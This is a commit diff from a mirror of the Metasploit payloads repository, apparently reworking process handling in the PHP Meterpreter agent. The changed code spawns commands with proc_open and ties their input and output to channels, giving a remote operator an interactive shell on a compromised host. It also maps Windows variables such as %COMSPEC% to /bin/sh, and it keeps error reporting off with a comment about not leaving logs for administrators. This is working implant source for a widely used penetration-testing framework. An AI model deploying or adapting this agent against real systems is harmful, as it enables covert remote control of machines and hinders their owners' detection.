mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-03-24 18:16:24 +01:00
clean up process handling in php meterp a bit, fixes the 'shell' command and hopefully makes process interaction a little more robust.
git-svn-id: file:///home/svn/framework3/trunk@11531 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
cff391e95d
commit
cf993feab0
php/meterpreter
@ -267,12 +267,42 @@ function cononicalize_path($path) {
|
||||
}
|
||||
}
|
||||
|
||||
# Need to nail down what this should actually do. In ruby, it doesn't expand
|
||||
# environment variables but in the windows meterpreter it does
|
||||
if (!function_exists('stdapi_fs_expand_path')) {
|
||||
function stdapi_fs_expand_path($req, &$pkt) {
|
||||
|
||||
#
|
||||
# Need to nail down what this should actually do. Ruby's File.expand_path is
|
||||
# for cononicalizing a path (e.g., removing /./ and ../) and expanding "~" into
|
||||
# a path to the current user's homedir. In contrast, Meterpreter has
|
||||
# traditionally used this to get environment variables from the server.
|
||||
#
|
||||
if (!function_exists('stdapi_fs_file_expand_path')) {
|
||||
function stdapi_fs_file_expand_path($req, &$pkt) {
|
||||
my_print("doing expand_path");
|
||||
$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
|
||||
$env = $path_tlv['value'];
|
||||
if (!is_windows()) {
|
||||
# Handle some basic windows-isms when we can
|
||||
switch ($env) {
|
||||
case "%COMSPEC%":
|
||||
$path = "/bin/sh";
|
||||
break;
|
||||
case "%TEMP%":
|
||||
case "%TMP%":
|
||||
$path = "/tmp";
|
||||
break;
|
||||
default:
|
||||
# Don't know what the user meant, just try it as an environment
|
||||
# variable and hope for the best.
|
||||
$path = getenv($env);
|
||||
}
|
||||
} else {
|
||||
$path = getenv($env);
|
||||
}
|
||||
my_print("Returning with an answer of: '$path'");
|
||||
|
||||
if ($path) {
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_PATH, $path));
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
return ERROR_FAILURE;
|
||||
}
|
||||
}
|
||||
@ -355,27 +385,27 @@ function stdapi_fs_stat($req, &$pkt) {
|
||||
$path = cononicalize_path($path_tlv['value']);
|
||||
|
||||
$st = stat($path);
|
||||
if ($st) {
|
||||
$st_buf = "";
|
||||
$st_buf .= pack("V", $st['dev']);
|
||||
$st_buf .= pack("v", $st['ino']);
|
||||
$st_buf .= pack("v", $st['mode']);
|
||||
$st_buf .= pack("v", $st['nlink']);
|
||||
$st_buf .= pack("v", $st['uid']);
|
||||
$st_buf .= pack("v", $st['gid']);
|
||||
$st_buf .= pack("v", 0);
|
||||
$st_buf .= pack("V", $st['rdev']);
|
||||
$st_buf .= pack("V", $st['size']);
|
||||
$st_buf .= pack("V", $st['atime']);
|
||||
$st_buf .= pack("V", $st['mtime']);
|
||||
$st_buf .= pack("V", $st['ctime']);
|
||||
$st_buf .= pack("V", $st['blksize']);
|
||||
$st_buf .= pack("V", $st['blocks']);
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_STAT_BUF, $st_buf));
|
||||
if ($st) {
|
||||
$st_buf = "";
|
||||
$st_buf .= pack("V", $st['dev']);
|
||||
$st_buf .= pack("v", $st['ino']);
|
||||
$st_buf .= pack("v", $st['mode']);
|
||||
$st_buf .= pack("v", $st['nlink']);
|
||||
$st_buf .= pack("v", $st['uid']);
|
||||
$st_buf .= pack("v", $st['gid']);
|
||||
$st_buf .= pack("v", 0);
|
||||
$st_buf .= pack("V", $st['rdev']);
|
||||
$st_buf .= pack("V", $st['size']);
|
||||
$st_buf .= pack("V", $st['atime']);
|
||||
$st_buf .= pack("V", $st['mtime']);
|
||||
$st_buf .= pack("V", $st['ctime']);
|
||||
$st_buf .= pack("V", $st['blksize']);
|
||||
$st_buf .= pack("V", $st['blocks']);
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_STAT_BUF, $st_buf));
|
||||
return ERROR_SUCCESS;
|
||||
} else {
|
||||
} else {
|
||||
return ERROR_FAILURE;
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@ -397,25 +427,25 @@ function stdapi_fs_delete_file($req, &$pkt) {
|
||||
|
||||
if (!function_exists('stdapi_fs_search')) {
|
||||
function stdapi_fs_search($req, &$pkt) {
|
||||
my_print("doing search");
|
||||
my_print("doing search");
|
||||
|
||||
$root_tlv = packet_get_tlv($req, TLV_TYPE_SEARCH_ROOT);
|
||||
$root = cononicalize_path($root_tlv['value']);
|
||||
$glob_tlv = packet_get_tlv($req, TLV_TYPE_SEARCH_GLOB);
|
||||
$glob = cononicalize_path($glob_tlv['value']);
|
||||
$recurse_tlv = packet_get_tlv($req, TLV_TYPE_SEARCH_RECURSE);
|
||||
$recurse = $recurse_tlv['value'];
|
||||
$root_tlv = packet_get_tlv($req, TLV_TYPE_SEARCH_ROOT);
|
||||
$root = cononicalize_path($root_tlv['value']);
|
||||
$glob_tlv = packet_get_tlv($req, TLV_TYPE_SEARCH_GLOB);
|
||||
$glob = cononicalize_path($glob_tlv['value']);
|
||||
$recurse_tlv = packet_get_tlv($req, TLV_TYPE_SEARCH_RECURSE);
|
||||
$recurse = $recurse_tlv['value'];
|
||||
|
||||
if (!$root) {
|
||||
$root = '.';
|
||||
}
|
||||
|
||||
my_print("glob: $glob, root: $root, recurse: $recurse");
|
||||
$flags = GLOB_PATH;
|
||||
if ($recurse) {
|
||||
$flags |= GLOB_RECURSE;
|
||||
}
|
||||
$files = safe_glob($root ."/". $glob, $flags);
|
||||
$flags = GLOB_PATH;
|
||||
if ($recurse) {
|
||||
$flags |= GLOB_RECURSE;
|
||||
}
|
||||
$files = safe_glob($root ."/". $glob, $flags);
|
||||
if ($files and is_array($files)) {
|
||||
dump_array($files);
|
||||
foreach ($files as $file) {
|
||||
@ -477,6 +507,8 @@ $GLOBALS['processes'] = array();
|
||||
|
||||
if (!function_exists('stdapi_sys_process_execute')) {
|
||||
function stdapi_sys_process_execute($req, &$pkt) {
|
||||
global $channel_process_map;
|
||||
|
||||
my_print("doing execute");
|
||||
$cmd_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_PATH);
|
||||
$args_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_ARGUMENTS);
|
||||
@ -489,39 +521,86 @@ function stdapi_sys_process_execute($req, &$pkt) {
|
||||
# If there was no command specified, well, a user sending an empty command
|
||||
# deserves failure.
|
||||
my_print("Cmd: $cmd $args");
|
||||
$real_cmd = $cmd ." ". $args;
|
||||
if (0 > strlen($cmd)) {
|
||||
return ERROR_FAILURE;
|
||||
}
|
||||
#my_print("Flags: $flags (" . ($flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) .")");
|
||||
$real_cmd = $cmd ." ". $args;
|
||||
|
||||
# Now that we've got the command built, run it. If it worked, we'll send
|
||||
# back a handle identifier.
|
||||
$handle = proc_open($real_cmd, array(array('pipe','r'), array('pipe','w'), array('pipe','w')), $pipes);
|
||||
if (!is_resource($handle)) {
|
||||
return ERROR_FAILURE;
|
||||
}
|
||||
|
||||
if (is_callable('proc_get_status')) {
|
||||
$status = proc_get_status($handle);
|
||||
$pid = $status['pid'];
|
||||
} else {
|
||||
$pid = 0;
|
||||
}
|
||||
|
||||
$proc = array( 'handle' => $handle, 'pipes' => $pipes );
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, $pid));
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PROCESS_HANDLE, count($processes)));
|
||||
if ($flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) {
|
||||
global $processes;
|
||||
my_print("Channelized");
|
||||
$handle = proc_open($real_cmd, array(array('pipe','r'), array('pipe','w'), array('pipe','w')), $pipes);
|
||||
if ($handle === false) {
|
||||
return ERROR_FAILURE;
|
||||
}
|
||||
$pipes['type'] = 'stream';
|
||||
# Then the client wants a channel set up to handle this process' stdio,
|
||||
# register all the necessary junk to make that happen.
|
||||
register_stream($pipes[0]);
|
||||
register_stream($pipes[1]);
|
||||
register_stream($pipes[2]);
|
||||
$cid = register_channel($pipes[0], $pipes[1], $pipes[2]);
|
||||
$channel_process_map[$cid] = $proc;
|
||||
|
||||
# associate the process with this channel so we know when to close it.
|
||||
$processes[$cid] = $handle;
|
||||
$proc['cid'] = $cid;
|
||||
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, 0));
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_PROCESS_HANDLE, count($processes)-1));
|
||||
packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid));
|
||||
} else {
|
||||
# Don't care about stdin/stdout, just run the command
|
||||
my_cmd($real_cmd);
|
||||
#} else {
|
||||
# Otherwise, don't care about stdin/stdout, just run the command
|
||||
}
|
||||
|
||||
$processes[] = $proc;
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
if (!function_exists('stdapi_sys_process_close')) {
|
||||
function stdapi_sys_process_close($req, &$pkt) {
|
||||
global $processes;
|
||||
my_print("doing process_close");
|
||||
$handle_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_HANDLE);
|
||||
$proc = $processes[$handle_tlv['value']];
|
||||
|
||||
close_process($proc);
|
||||
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
|
||||
if (!function_exists('close_process')) {
|
||||
function close_process($proc) {
|
||||
if ($proc) {
|
||||
my_print("Closing process handle {$proc['handle']}");
|
||||
# In the case of a channelized process, this will be redundant as the
|
||||
# channel_close will also try to close all of these handles. There's no
|
||||
# real harm in that, so go ahead and just always make sure they get
|
||||
# closed.
|
||||
foreach ($proc['pipes'] as $f) {
|
||||
fclose($f);
|
||||
}
|
||||
# Don't use proc_close() here because it blocks waiting for the child
|
||||
# to die. Better to just send it a sigterm and move on.
|
||||
proc_terminate($proc['handle']);
|
||||
if ($proc['cid'] && $channel_process_map[$proc['cid']]) {
|
||||
unset($channel_process_map[$proc['cid']]);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Works, but not very portable. There doesn't appear to be a PHP way of
|
||||
# getting a list of processes, so we just shell out to ps/tasklist.exe. I need
|
||||
# to decide what options to send to ps for portability and for information
|
||||
|
@ -8,6 +8,12 @@ if (!isset($GLOBALS['channels'])) {
|
||||
$GLOBALS['channels'] = array();
|
||||
}
|
||||
|
||||
# global mapping of channels to channelized processes. This is how we know
|
||||
# if we need to kill a process when it's channel has been closed.
|
||||
if (!isset($GLOBALS['channel_process_map'])) {
|
||||
$GLOBALS['channel_process_map'] = array();
|
||||
}
|
||||
|
||||
# global resource map. This is how we know whether to use socket or stream
|
||||
# functions on a channel.
|
||||
if (!isset($GLOBALS['resource_type_map'])) {
|
||||
@ -204,7 +210,7 @@ function core_channel_eof($req, &$pkt) {
|
||||
|
||||
# Works
|
||||
function core_channel_read($req, &$pkt) {
|
||||
my_print("doing channel read");
|
||||
#my_print("doing channel read");
|
||||
$chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
|
||||
$len_tlv = packet_get_tlv($req, TLV_TYPE_LENGTH);
|
||||
$id = $chan_tlv['value'];
|
||||
@ -221,7 +227,7 @@ function core_channel_read($req, &$pkt) {
|
||||
|
||||
# Works
|
||||
function core_channel_write($req, &$pkt) {
|
||||
my_print("doing channel write");
|
||||
#my_print("doing channel write");
|
||||
$chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
|
||||
$data_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_DATA);
|
||||
$len_tlv = packet_get_tlv($req, TLV_TYPE_LENGTH);
|
||||
@ -239,7 +245,7 @@ function core_channel_write($req, &$pkt) {
|
||||
}
|
||||
|
||||
function core_channel_close($req, &$pkt) {
|
||||
global $processes;
|
||||
global $channel_process_map;
|
||||
# XXX remove the closed channel from $readers
|
||||
my_print("doing channel close");
|
||||
$chan_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
|
||||
@ -254,9 +260,10 @@ function core_channel_close($req, &$pkt) {
|
||||
close($c[$i]);
|
||||
}
|
||||
}
|
||||
if (array_key_exists($id, $processes)) {
|
||||
@proc_close($processes[$id]);
|
||||
unset($processes[$id]);
|
||||
# Make sure the stdapi function for closing a process handle is
|
||||
# available before trying to clean up
|
||||
if (array_key_exists($id, $channel_process_map) and is_callable('close_process')) {
|
||||
close_process($channel_process_map[$id]);
|
||||
}
|
||||
return ERROR_SUCCESS;
|
||||
}
|
||||
@ -299,12 +306,17 @@ function core_channel_interact($req, &$pkt) {
|
||||
remove_reader($c[2]); # stderr
|
||||
$ret = ERROR_SUCCESS;
|
||||
} else {
|
||||
# Not interacting
|
||||
$ret = ERROR_FAILURE;
|
||||
# Not interacting. This is technically failure, but it seems
|
||||
# the client sends us two of these requests in quick succession
|
||||
# causing the second one to always return failure. When that
|
||||
# happens we fail to clean up properly, so always return
|
||||
# success here.
|
||||
$ret = ERROR_SUCCESS;
|
||||
}
|
||||
}
|
||||
} else {
|
||||
# Not a valid channel
|
||||
my_print("Trying to interact with an invalid channel");
|
||||
$ret = ERROR_FAILURE;
|
||||
}
|
||||
return $ret;
|
||||
@ -794,10 +806,11 @@ function remove_reader($resource) {
|
||||
|
||||
ob_implicit_flush();
|
||||
|
||||
# For debugging
|
||||
#error_reporting(E_ALL);
|
||||
# Turn off error reporting so we don't leave any ugly logs. Why make an
|
||||
# administrator's job easier if we don't have to? =)
|
||||
error_reporting(0);
|
||||
#error_reporting(E_ALL);
|
||||
|
||||
@ignore_user_abort(true);
|
||||
# Has no effect in safe mode, but try anyway
|
||||
@ -866,9 +879,9 @@ while (false !== ($cnt = select($r, $w=null, $e=null, 1))) {
|
||||
|
||||
write($msgsock, $response);
|
||||
} else {
|
||||
my_print("not Msgsock: $ready");
|
||||
#my_print("not Msgsock: $ready");
|
||||
$data = read($ready);
|
||||
my_print(sprintf("Read returned %s bytes", strlen($data)));
|
||||
#my_print(sprintf("Read returned %s bytes", strlen($data)));
|
||||
if (false === $data) {
|
||||
$request = handle_dead_resource_channel($ready);
|
||||
write($msgsock, $request);
|
||||
@ -877,7 +890,7 @@ while (false !== ($cnt = select($r, $w=null, $e=null, 1))) {
|
||||
remove_reader($ready);
|
||||
} else {
|
||||
$request = handle_resource_read_channel($ready, $data);
|
||||
my_print("Got some data from a channel that needs to be passed back to the msgsock");
|
||||
#my_print("Got some data from a channel that needs to be passed back to the msgsock");
|
||||
write($msgsock, $request);
|
||||
}
|
||||
}
|
||||
|
Loading…
x
Reference in New Issue
Block a user